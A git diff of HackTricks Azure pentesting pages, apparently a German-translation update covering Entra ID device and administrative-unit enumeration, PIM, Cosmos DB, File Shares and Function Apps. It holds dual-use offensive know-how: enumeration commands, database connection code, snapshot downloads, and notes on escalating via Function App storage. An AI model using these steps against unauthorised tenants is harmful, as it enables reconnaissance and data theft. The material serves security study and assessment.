{{#endtabs }} -### Devices +### Geräte {{#tabs }} {{#tab name="az cli" }} - ```bash -# Wenn du weißt, wie man das macht, sende einen PR! +# If you know how to do this send a PR! ``` - {{#endtab }} {{#tab name="MS Graph" }} - ```bash -# Geräte mit Microsoft Graph PowerShell auflisten +# Enumerate devices using Microsoft Graph PowerShell Get-MgDevice -All -# Gerätedetails abrufen +# Get device details Get-MgDevice -DeviceId | Format-List * -# Geräte abrufen, die mit Intune verwaltet werden +# Get devices managed using Intune Get-MgDevice -Filter "isCompliant eq true" -All -# Geräte abrufen, die einem Benutzer gehören +# Get devices owned by a user Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com -# Verfügbare Befehle in Microsoft Graph PowerShell auflisten +# List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement ``` {{#endtab }} {{#tab name="Azure AD" }} - ```bash -# Geräte auflisten +# Enumerate Devices Get-AzureADDevice -All $true | fl * -# Liste aller aktiven Geräte (und nicht der veralteten Geräte) +# List all the active devices (and not the stale devices) Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null} -# Besitzer aller Geräte abrufen +# Get owners of all devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# Registrierte Benutzer aller Geräte +# Registred users of all the devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# Geräte abrufen, die mit Intune verwaltet werden +# Get dives managed using Intune Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"} -# Geräte abrufen, die einem Benutzer gehören +# Get devices owned by a user Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com -# Administrative Einheiten eines Geräts abrufen +# Get Administrative Units of a device Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} } ``` - {{#endtab }} {{#endtabs }} > [!WARNING] -> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\ -> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**. +> Wenn ein Gerät (VM) **AzureAD verbunden** ist, können Benutzer von AzureAD **einloggen**.\ +> Darüber hinaus, wenn der angemeldete Benutzer **Besitzer** des Geräts ist, wird er **lokaler Administrator** sein. -### Administrative Units +### Administrative Einheiten -For more information about administrative units check: +Für weitere Informationen zu administrativen Einheiten siehe: {{#ref}} ../az-basic-information/ @@ -1062,76 +1045,72 @@ For more information about administrative units check: {{#tabs }} {{#tab name="az cli" }} - ```bash -# Liste aller administrativen Einheiten +# List all administrative units az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits" -# Informationen zur AU abrufen +# Get AU info az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53" -# Mitglieder abrufen +# Get members az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members" -# Prinzipale mit Rollen über der AU abrufen +# Get principals with roles over the AU az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers" ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```bash -# Administrativen Einheiten abrufen +# Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id -# ID der administrativen Einheit durch Zeichenfolge abrufen +# Get ID of admin unit by string $adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'" -# Die Benutzer, Gruppen und Geräte auflisten, die von der administrativen Einheit betroffen sind +# List the users, groups, and devices affected by the administrative unit Get-AzureADMSAdministrativeUnitMember -Id -# Die Rollen abrufen, die Benutzer über die Mitglieder der AU haben -Get-AzureADMSScopedRoleMembership -Id | fl #Rollen-ID und Rollenmitglieder abrufen +# Get the roles users have over the members of the AU +Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ``` - {{#endtab }} {{#endtabs }} -## Entra ID Privilege Escalation +## Entra ID Privilegieneskalation {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} -## Azure Privilege Escalation +## Azure Privilegieneskalation {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## Defensive Mechanisms +## Verteidigungsmechanismen ### Privileged Identity Management (PIM) -Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily. +Privileged Identity Management (PIM) in Azure hilft, **übermäßige Berechtigungen** zu verhindern, die unnötig Benutzern zugewiesen werden. -One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\ -Note that the user will also be able to ask to **extend** the time. +Eine der Hauptfunktionen von PIM ist, dass es ermöglicht, Rollen nicht ständig aktiven Benutzern zuzuweisen, sondern sie **für einen bestimmten Zeitraum (z.B. 6 Monate)** bereitzustellen. Dann, wann immer der Benutzer diese Rolle aktivieren möchte, muss er sie anfordern und die Zeit angeben, für die er die Berechtigung benötigt (z.B. 3 Stunden). Dann muss ein **Admin die Anfrage genehmigen**.\ +Beachten Sie, dass der Benutzer auch die Möglichkeit hat, die Zeit zu **verlängern**. -Moreover, **PIM send emails** whenever a privileged role is being assigned to someone. +Darüber hinaus **sendet PIM E-Mails**, wann immer eine privilegierte Rolle jemandem zugewiesen wird.
-When PIM is enabled it's possible to configure each role with certain requirements like: +Wenn PIM aktiviert ist, ist es möglich, jede Rolle mit bestimmten Anforderungen zu konfigurieren, wie: -- Maximum duration (hours) of activation -- Require MFA on activation -- Require Conditional Access acuthenticaiton context -- Require justification on activation -- Require ticket information on activation -- Require approval to activate -- Max time to expire the elegible assignments -- A lot more configuration on when and who to send notifications when certain actions happen with that role +- Maximale Dauer (Stunden) der Aktivierung +- MFA bei Aktivierung erforderlich +- Erfordert den Kontext der bedingten Zugriffsauthentifizierung +- Erfordert eine Begründung bei Aktivierung +- Erfordert Ticketinformationen bei Aktivierung +- Genehmigung zur Aktivierung erforderlich +- Maximale Zeit bis zum Ablauf der berechtigten Zuweisungen +- Viel mehr Konfigurationen, wann und an wen Benachrichtigungen gesendet werden, wenn bestimmte Aktionen mit dieser Rolle stattfinden -### Conditional Access Policies +### Bedingte Zugriffsrichtlinien -Check: +Überprüfen Sie: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1139,27 +1118,27 @@ Check: ### Entra Identity Protection -Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt. +Entra Identity Protection ist ein Sicherheitsdienst, der es ermöglicht, **zu erkennen, wann ein Benutzer oder ein Anmeldeversuch zu riskant** ist, um akzeptiert zu werden, und es ermöglicht, den Benutzer oder den Anmeldeversuch zu **blockieren**. -It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**: +Es ermöglicht dem Admin, es so zu konfigurieren, dass es Versuche blockiert, wenn das Risiko "Niedrig und darüber", "Mittel und darüber" oder "Hoch" ist. Obwohl es standardmäßig vollständig **deaktiviert** ist:
> [!TIP] -> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options. +> Heutzutage wird empfohlen, diese Einschränkungen über bedingte Zugriffsrichtlinien hinzuzufügen, wo es möglich ist, die gleichen Optionen zu konfigurieren. -### Entra Password Protection +### Entra Passwortschutz -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\ -It also allows to **ban a custom password list** that you need to provide. +Entra Passwortschutz ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ist eine Sicherheitsfunktion, die **hilft, den Missbrauch schwacher Passwörter zu verhindern, indem Konten gesperrt werden, wenn mehrere erfolglose Anmeldeversuche auftreten**.\ +Es ermöglicht auch, eine **benutzerdefinierte Passwortliste zu sperren**, die Sie bereitstellen müssen. -It can be **applied both** at the cloud level and on-premises Active Directory. +Es kann **sowohl** auf Cloud-Ebene als auch im lokalen Active Directory angewendet werden. -The default mode is **Audit**: +Der Standardmodus ist **Audit**:
-## References +## Referenzen - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md index 3f1b4a981..4fcbe8856 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -6,7 +6,7 @@ **Azure Cloud Shell** ist ein interaktives, authentifiziertes, browserzugängliches Terminal, das für die Verwaltung von Azure-Ressourcen konzipiert ist und die Flexibilität bietet, entweder mit Bash oder PowerShell zu arbeiten. Es läuft auf einem temporären, pro Sitzung zugewiesenen Host, der nach 20 Minuten Inaktivität abläuft, während Dateien im $HOME-Verzeichnis unter Verwendung eines 5-GB-Dateifreigabe gespeichert werden. Cloud Shell kann über mehrere Punkte aufgerufen werden, einschließlich des Azure-Portals, shell.azure.com, Azure CLI und PowerShell-Dokumentation, der Azure-Mobile-App und der Visual Studio Code Azure-Kontoerweiterung. -Es sind keine Berechtigungen für diesen Dienst zugewiesen, daher gibt es keine Techniken zur Privilegienerhöhung. Auch gibt es keine Art der Enumeration. +Es sind keine Berechtigungen für diesen Dienst zugewiesen, daher gibt es keine Techniken zur Privilegieneskalation. Auch gibt es keine Art der Enumeration. ### Key Features @@ -18,14 +18,14 @@ Es sind keine Berechtigungen für diesen Dienst zugewiesen, daher gibt es keine ## References -* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) ## Persistence -{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %} -[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md) -{% endcontent-ref %} +{{#ref}} +../az-persistence/az-cloud-shell-persistence.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index db357522b..543c13ae9 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -4,7 +4,7 @@ ## Azure CosmosDB -**Azure Cosmos DB** ist eine vollständig **verwaltete NoSQL-, relationale und Vektordatenbank**, die Reaktionszeiten im einstelligen Millisekundenbereich, automatische Skalierbarkeit und SLA-unterstützte Verfügbarkeit mit Unternehmenssicherheit bietet. Es ermöglicht eine schnellere Anwendungsentwicklung durch schlüsselfertige, mehrregionale Datenverteilung, Open-Source-APIs, SDKs für beliebte Programmiersprachen und KI-Datenbankfunktionen wie integrierte Vektorstützung und nahtlose Azure KI-Integration. +**Azure Cosmos DB** ist eine vollständig **verwaltete NoSQL-, relationale und Vektordatenbank**, die Reaktionszeiten im einstelligen Millisekundenbereich, automatische Skalierbarkeit und SLA-unterstützte Verfügbarkeit mit Unternehmenssicherheit bietet. Es ermöglicht eine schnellere Anwendungsentwicklung durch schlüsselfertige, mehrregionale Datenverteilung, Open-Source-APIs, SDKs für beliebte Programmiersprachen und KI-Datenbankfunktionen wie integrierte Vektorsupport und nahtlose Azure KI-Integration. Azure Cosmos DB bietet mehrere Datenbank-APIs, um reale Daten mit Dokumenten, relationalen, Schlüssel-Wert-, Graph- und Spaltenfamilien-Datenmodellen zu modellieren. Diese APIs sind NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin und Table. @@ -12,13 +12,9 @@ Ein wichtiger Aspekt von CosmosDB ist das Azure Cosmos-Konto. **Azure Cosmos-Kon ### NoSQL (sql) Die Azure Cosmos DB NoSQL-API ist eine dokumentenbasierte API, die JSON als Datenformat verwendet. Sie bietet eine SQL-ähnliche Abfragesyntax zum Abfragen von JSON-Objekten, was sie geeignet macht für die Arbeit mit strukturierten und semi-strukturierten Daten. Der Endpunkt des Dienstes ist: - -{% code overflow="wrap" %} ```bash https://.documents.azure.com:443/ ``` -{% endcode %} - #### Datenbanken Innerhalb eines Kontos können Sie eine oder mehrere Datenbanken erstellen, die als logische Gruppierungen von Containern dienen. Eine Datenbank fungiert als Grenze für das Ressourcenmanagement und die Benutzerberechtigungen. Datenbanken können entweder die bereitgestellte Durchsatzrate über ihre Container teilen oder dedizierten Durchsatz für einzelne Container zuweisen. @@ -27,9 +23,8 @@ Die zentrale Einheit der Datenspeicherung ist der Container, der JSON-Dokumente #### Aufzählung -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name --container-name --container-name --database-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosD @@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "" -AccountName " # List all user-defined functions (UDFs) in a specific Cosmos DB SQL container. Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} #### Verbindung -Um die azure-cosmosDB (pip install azure-cosmos) zu verbinden, wird die Bibliothek benötigt. Darüber hinaus sind der Endpunkt und der Schlüssel entscheidende Komponenten, um die Verbindung herzustellen. -{% code overflow="wrap" %} +Um die azure-cosmosDB (pip install azure-cosmos) Bibliothek zu verbinden, sind der Endpunkt und der Schlüssel entscheidende Komponenten, um die Verbindung herzustellen. ```python from azure.cosmos import CosmosClient, PartitionKey @@ -158,11 +149,7 @@ print("All items in the container:") for item in all_items: print(item) ``` -{% endcode %} - -Eine weitere Möglichkeit, eine Verbindung herzustellen, besteht darin, **DefaultAzureCredential()** zu verwenden. Man muss sich nur mit dem Konto anmelden (az login), das die Berechtigungen hat, und es ausführen. In diesem Fall muss eine Rollen zuweisung vorgenommen werden, um die erforderlichen Berechtigungen zu gewähren (siehe für mor) - -{% code overflow="wrap" %} +Eine weitere Möglichkeit, eine Verbindung herzustellen, besteht darin, **DefaultAzureCredential()** zu verwenden. Es muss sich nur mit dem Konto angemeldet werden (az login), das die Berechtigungen hat, und es auszuführen. In diesem Fall muss eine Rollen zuweisung vorgenommen werden, um die erforderlichen Berechtigungen zu gewähren (siehe für mor) ```python from azure.identity import DefaultAzureCredential from azure.cosmos import CosmosClient @@ -187,17 +174,11 @@ item = { container.create_item(item) print("Document inserted.") ``` -{% endcode %} - ### MongoDB -Die MongoDB NoSQL-API ist eine dokumentenbasierte API, die BSON (Binary JSON) im JSON-ähnlichen Format als Datenformat verwendet. Sie bietet eine Abfragesprache mit Aggregationsfähigkeiten, die sie für die Arbeit mit strukturierten, semi-strukturierten und unstrukturierten Daten geeignet macht. Der Endpunkt des Dienstes folgt typischerweise diesem Format: - -{% code overflow="wrap" %} +Die MongoDB NoSQL-API ist eine dokumentenbasierte API, die JSON-ähnliches BSON (Binary JSON) als Datenformat verwendet. Sie bietet eine Abfragesprache mit Aggregationsfähigkeiten, die sie für die Arbeit mit strukturierten, semi-strukturierten und unstrukturierten Daten geeignet macht. Der Endpunkt des Dienstes folgt typischerweise diesem Format: ```bash mongodb://:/ ``` -{% endcode %} - #### Datenbanken In MongoDB können Sie eine oder mehrere Datenbanken innerhalb einer Instanz erstellen. Jede Datenbank dient als logische Gruppierung von Sammlungen und bietet eine Grenze für die Organisation und Verwaltung von Ressourcen. Datenbanken helfen, Daten logisch zu trennen und zu verwalten, beispielsweise für verschiedene Anwendungen oder Projekte. @@ -206,9 +187,8 @@ Die zentrale Einheit der Datenspeicherung in MongoDB ist die Sammlung, die Dokum #### Aufzählung -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name --resource # List all user definitions for MongoDB within an Azure Cosmos DB account az cosmosdb mongodb user definition list --account-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosDB @@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName -ResourceGro Get-AzCosmosDBMongoDBRoleDefinition -AccountName -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} #### Verbindung Hier das Passwort, das Sie mit den Schlüsseln oder mit der im Privesc-Abschnitt beschriebenen Methode finden können. -{% code overflow="wrap" %} ```python from pymongo import MongoClient @@ -311,33 +287,29 @@ document = { result = collection.insert_one(document) print(f"Inserted document with ID: {result.inserted_id}") ``` -{% endcode %} - ## Referenzen -* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) ## Privilegieneskalation -{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %} -[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-cosmosDB-privesc.md +{{#endref}} ## Post-Exploitation -{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %} -[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-sql-post-exploitation.md +{{#endref}} ## ToDo * Der Rest der DB hier, Tabellen, Cassandra, Gremlin... -* Schau dir die Post-Exploitation "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" und Rollendefinitionen an, da hier möglicherweise eine Privilegieneskalation vorliegt -* Schau dir Wiederherstellungen an - - +* Einen Blick auf die Post-Exploitation "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" und Rollendefinitionen werfen, da hier möglicherweise eine Privilegieneskalation vorliegt +* Einen Blick auf Wiederherstellungen werfen {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md index c0b220b18..acda20d46 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md +++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Grundlegende Informationen +## Grundinformationen **Azure Files** ist ein vollständig verwalteter Cloud-Dateispeicherdienst, der gemeinsamen Dateispeicher über die standardmäßigen **SMB (Server Message Block)** und **NFS (Network File System)** Protokolle bereitstellt. Obwohl das Hauptprotokoll SMB ist, werden NFS Azure-Dateifreigaben für Windows nicht unterstützt (laut den [**Docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Es ermöglicht Ihnen, hochverfügbare Netzwerkdateifreigaben zu erstellen, die gleichzeitig von mehreren virtuellen Maschinen (VMs) oder lokalen Systemen zugegriffen werden können, was nahtloses Dateifreigeben über verschiedene Umgebungen hinweg ermöglicht. @@ -11,7 +11,7 @@ - **Transaktionsoptimiert**: Optimiert für transaktionsintensive Operationen. - **Hot**: Ausgewogen zwischen Transaktionen und Speicherung. - **Cool**: Kostenwirksam für Speicherung. -- **Premium:** Hochleistungs-Dateispeicher, optimiert für latenzarme und IOPS-intensive Workloads. +- **Premium:** Hochleistungs-Dateispeicher, optimiert für latenzempfindliche und IOPS-intensive Workloads. ### Backups @@ -23,15 +23,15 @@ ### Unterstützte Authentifizierungen über SMB -- **On-premises AD DS-Authentifizierung**: Es verwendet lokale Active Directory-Anmeldeinformationen, die mit Microsoft Entra ID für identitätsbasierten Zugriff synchronisiert sind. Es erfordert eine Netzwerkverbindung zu lokalem AD DS. +- **On-premises AD DS-Authentifizierung**: Es verwendet lokale Active Directory-Anmeldeinformationen, die mit Microsoft Entra ID für identitätsbasierten Zugriff synchronisiert sind. Es erfordert Netzwerkverbindung zu lokalem AD DS. - **Microsoft Entra Domain Services-Authentifizierung**: Es nutzt Microsoft Entra Domain Services (cloudbasiertes AD), um den Zugriff mit Microsoft Entra-Anmeldeinformationen bereitzustellen. - **Microsoft Entra Kerberos für hybride Identitäten**: Es ermöglicht Microsoft Entra-Benutzern, Azure-Dateifreigaben über das Internet mit Kerberos zu authentifizieren. Es unterstützt hybride Microsoft Entra-verbundene oder Microsoft Entra-verbundene VMs, ohne dass eine Verbindung zu lokalen Domänencontrollern erforderlich ist. Es unterstützt jedoch keine cloudbasierten Identitäten. - **AD Kerberos-Authentifizierung für Linux-Clients**: Es ermöglicht Linux-Clients, Kerberos für die SMB-Authentifizierung über lokales AD DS oder Microsoft Entra Domain Services zu verwenden. -## Aufzählung +## Enumeration -{{#tabs}} -{{#tab name="az cli"}} +{{#tabs }} +{{#tab name="az" }} ```bash # Get storage accounts az storage account list #Get the account name from here @@ -58,9 +58,9 @@ az storage file list --account-name --share-name --snapshot # Download snapshot/backup az storage file download-batch -d . --account-name --source --snapshot ``` -{{#endtab}} +{{#endtab }} -{{#tab name="Az PowerShell"}} +{{#tab name="Az Powershell" }} ```bash Get-AzStorageAccount @@ -81,11 +81,11 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "" -Context (New-AzStorageContext -StorageAccountName "" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "" -Name "" | Select-Object -ExpandProperty Value) -SnapshotTime "") ``` -{{#endtab}} -{{#endtabs}} +{{#endtab }} +{{#endtabs }} > [!NOTE] -> Standardmäßig verwendet die `az` CLI einen Kontoschlüssel, um einen Schlüssel zu signieren und die Aktion auszuführen. Um die Berechtigungen des Entra ID-Principals zu verwenden, verwenden Sie die Parameter `--auth-mode login --enable-file-backup-request-intent`. +> Standardmäßig verwendet die `az` CLI einen Kontoschlüssel, um einen Schlüssel zu signieren und die Aktion auszuführen. Um die Berechtigungen des Entra ID-Prinzipals zu verwenden, verwenden Sie die Parameter `--auth-mode login --enable-file-backup-request-intent`. > [!TIP] > Verwenden Sie den Parameter `--account-key`, um den zu verwendenden Kontoschlüssel anzugeben\ diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index c87cc8a7f..0dc07b51f 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -11,7 +11,7 @@ ### Verschiedene Pläne -- **Flex Consumption Plan**: Bietet **dynamisches, ereignisgesteuertes Skalieren** mit einer Pay-as-you-go-Preismodell, das das Hinzufügen oder Entfernen von Funktionsinstanzen basierend auf der Nachfrage ermöglicht. Es unterstützt **virtuelles Networking** und **vorab bereitgestellte Instanzen**, um Kaltstarts zu reduzieren, was es für **variable Workloads** geeignet macht, die keine Containerunterstützung benötigen. +- **Flex Consumption Plan**: Bietet **dynamisches, ereignisgesteuertes Skalieren** mit einer Pay-as-you-go-Preismodell, das das Hinzufügen oder Entfernen von Funktionsinstanzen basierend auf der Nachfrage ermöglicht. Es unterstützt **virtuelles Networking** und **vorab bereitgestellte Instanzen**, um Kaltstarts zu reduzieren, was es für **variable Workloads** geeignet macht, die keine Containerunterstützung erfordern. - **Traditional Consumption Plan**: Die Standard-Serverless-Option, bei der Sie **nur für Rechenressourcen bezahlen, wenn Funktionen ausgeführt werden**. Es skaliert automatisch basierend auf eingehenden Ereignissen und umfasst **Optimierungen für Kaltstarts**, unterstützt jedoch keine Containerbereitstellungen. Ideal für **intermittierende Workloads**, die automatisches Skalieren erfordern. - **Premium Plan**: Entwickelt für **konstante Leistung**, mit **vorwärmenden Arbeitern**, um Kaltstarts zu eliminieren. Es bietet **erweiterte Ausführungszeiten, virtuelles Networking** und unterstützt **benutzerdefinierte Linux-Images**, was es perfekt für **geschäftskritische Anwendungen** macht, die hohe Leistung und erweiterte Funktionen benötigen. - **Dedicated Plan**: Läuft auf dedizierten virtuellen Maschinen mit **vorhersehbarer Abrechnung** und unterstützt manuelles oder automatisches Skalieren. Es ermöglicht das Ausführen mehrerer Apps im selben Plan, bietet **Rechenisolierung** und gewährleistet **sicheren Netzwerkzugang** über App Service Environments, was es ideal für **langfristige Anwendungen** macht, die eine konsistente Ressourcenzuteilung benötigen. @@ -19,12 +19,12 @@ ### **Speicher-Buckets** -Beim Erstellen einer neuen nicht containerisierten Function App (aber mit dem Code, der ausgeführt werden soll) werden die **Code- und anderen funktionsbezogenen Daten in einem Speicherkonto gespeichert**. Standardmäßig erstellt die Webkonsole für jede Funktion ein neues Konto, um den Code zu speichern. +Beim Erstellen einer neuen nicht containerisierten Function App (aber mit dem Code zum Ausführen) werden die **Code- und anderen funktionsbezogenen Daten in einem Speicherkonto gespeichert**. Standardmäßig erstellt die Webkonsole für jede Funktion ein neues Konto, um den Code zu speichern. Darüber hinaus wird der Code im Bucket (in den verschiedenen Formaten, in denen er gespeichert werden kann) geändert, sodass der **Code der App auf den neuen geändert wird und beim nächsten Aufruf der Funktion ausgeführt wird**. > [!CAUTION] -> Dies ist aus der Perspektive eines Angreifers sehr interessant, da **Schreibzugriff auf diesen Bucket** einem Angreifer ermöglichen würde, **den Code zu kompromittieren und Berechtigungen** für die verwalteten Identitäten innerhalb der Function App zu eskalieren. +> Dies ist aus der Perspektive eines Angreifers sehr interessant, da **Schreibzugriff auf diesen Bucket** es einem Angreifer ermöglichen würde, **den Code zu kompromittieren und Berechtigungen** für die verwalteten Identitäten innerhalb der Function App zu eskalieren. > > Mehr dazu im **Abschnitt zur Berechtigungseskalation**. @@ -36,7 +36,7 @@ Beachten Sie, dass Funktionen auch die Möglichkeit bieten, den Code an einem en Bei Verwendung eines HTTP-Triggers: -- Es ist möglich, **Zugriff auf eine Funktion von überall im Internet** zu gewähren, ohne eine Authentifizierung zu verlangen, oder den Zugriff IAM-basiert zu gewähren. Es ist jedoch auch möglich, diesen Zugriff einzuschränken. +- Es ist möglich, **Zugriff auf eine Funktion von überall im Internet** zu gewähren, ohne eine Authentifizierung zu verlangen, oder den Zugriff IAM-basiert zu gewähren. Obwohl es auch möglich ist, diesen Zugriff einzuschränken. - Es ist auch möglich, **Zugriff auf eine Function App von einem internen Netzwerk (VPC)** zu gewähren oder einzuschränken. > [!CAUTION] @@ -44,7 +44,7 @@ Bei Verwendung eines HTTP-Triggers: ### **Function App-Einstellungen & Umgebungsvariablen** -Es ist möglich, Umgebungsvariablen innerhalb einer App zu konfigurieren, die sensible Informationen enthalten 